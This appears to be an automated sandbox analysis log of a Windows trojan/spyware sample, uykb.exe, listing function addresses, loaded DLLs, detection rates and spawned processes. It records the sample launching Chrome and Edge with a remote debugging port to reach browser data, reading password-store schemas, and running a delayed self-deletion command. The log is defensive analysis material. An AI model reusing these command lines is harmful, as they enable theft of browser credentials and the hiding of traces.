Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427181	0_2_00427181
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00429181	0_2_00429181
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00403191	0_2_00403191
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041C1A1	0_2_0041C1A1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004151B1	0_2_004151B1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004161B1	0_2_004161B1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041A241	0_2_0041A241
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041C261	0_2_0041C261
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426A11	0_2_00426A11
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425A21	0_2_00425A21
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427A21	0_2_00427A21
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00415A31	0_2_00415A31
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004162E1	0_2_004162E1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041CA81	0_2_0041CA81
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00403281	0_2_00403281
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041AA91	0_2_0041AA91
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00418A91	0_2_00418A91
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00414A91	0_2_00414A91
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426AA1	0_2_00426AA1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00415B41	0_2_00415B41
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041CB41	0_2_0041CB41
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00415351	0_2_00415351
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041AB61	0_2_0041AB61
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041C361	0_2_0041C361
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427361	0_2_00427361
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425B11	0_2_00425B11
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041A321	0_2_0041A321
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427B31	0_2_00427B31
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004143D1	0_2_004143D1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004263D1	0_2_004263D1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041CBE1	0_2_0041CBE1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004243E1	0_2_004243E1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004253E1	0_2_004253E1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426BE1	0_2_00426BE1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00428B91	0_2_00428B91
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425BB1	0_2_00425BB1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425C41	0_2_00425C41
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00413C61	0_2_00413C61
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041A411	0_2_0041A411
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00415411	0_2_00415411
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041C431	0_2_0041C431
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00416C31	0_2_00416C31
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00403431	0_2_00403431
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426CC1	0_2_00426CC1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425CE1	0_2_00425CE1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004154F1	0_2_004154F1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00415C81	0_2_00415C81
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427481	0_2_00427481
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00416491	0_2_00416491
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426491	0_2_00426491
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004244A1	0_2_004244A1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041A4B1	0_2_0041A4B1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00414D41	0_2_00414D41
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00403541	0_2_00403541
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427551	0_2_00427551
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0042955E	0_2_0042955E
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00428D11	0_2_00428D11
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0040FDC0	0_2_0040FDC0
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041C5D1	0_2_0041C5D1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004255E1	0_2_004255E1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041DDE7	0_2_0041DDE7
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00415D81	0_2_00415D81
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00413D81	0_2_00413D81
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426581	0_2_00426581
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041AD91	0_2_0041AD91
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00424DA1	0_2_00424DA1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427DA1	0_2_00427DA1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004155B1	0_2_004155B1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00414641	0_2_00414641
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0042BE42	0_2_0042BE42
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00415E51	0_2_00415E51
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00415651	0_2_00415651
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00424651	0_2_00424651
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426651	0_2_00426651
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00424E61	0_2_00424E61
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00428671	0_2_00428671
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426E01	0_2_00426E01
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041A611	0_2_0041A611
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00416621	0_2_00416621
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427621	0_2_00427621
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425ED1	0_2_00425ED1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004146E1	0_2_004146E1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00415EF1	0_2_00415EF1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004156F1	0_2_004156F1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00414E91	0_2_00414E91
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426EA1	0_2_00426EA1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041C741	0_2_0041C741
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425751	0_2_00425751
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0042CF60	0_2_0042CF60
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425F71	0_2_00425F71
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427771	0_2_00427771
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00424F11	0_2_00424F11
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00424711	0_2_00424711
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00414F21	0_2_00414F21
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427F21	0_2_00427F21
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004267C1	0_2_004267C1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00416F81	0_2_00416F81
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426F91	0_2_00426F91
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00424FB1	0_2_00424FB1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00402FB8	0_2_00402FB8

Source: uykb.exe, 00000000.00000002.2660773016.0000000000724000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameCmd.Exej% vs uykb.exe

Source: uykb.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/277@28/26

Source: C:\Users\user\Desktop\uykb.exe

Code function: 0_2_0041C0A0 CreateToolhelp32Snapshot,Process32First,Process32Next,TerminateProcess,

0_2_0041C0A0

Source: C:\Users\user\Desktop\uykb.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\7U2H1XQ5.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9152:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\c60576cb-635b-4586-878c-0ea2a414e556.tmp

Jump to behavior

Source: uykb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\uykb.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\uykb.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2djeknyuk.0.dr, wlfctjwtj.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: uykb.exe	ReversingLabs: Detection: 60%
Source: uykb.exe	Virustotal: Detection: 69%

Source: unknown	Process created: C:\Users\user\Desktop\uykb.exe "C:\Users\user\Desktop\uykb.exe"
Source: C:\Users\user\Desktop\uykb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2496,i,3147034569589876625,13015211592495973922,262144 /prefetch:8
Source: C:\Users\user\Desktop\uykb.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2216,i,4845954379956193227,9401157771546190770,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6720 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6884 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6628 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6628 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Users\user\Desktop\uykb.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\g4op8" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6964 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Users\user\Desktop\uykb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\g4op8" & exit	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2496,i,3147034569589876625,13015211592495973922,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2216,i,4845954379956193227,9401157771546190770,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6720 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6884 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6628 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6628 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6964 --field-trial-handle=2032,i,16506389847844219710,15461226408625240521,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\uykb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\uykb.exe

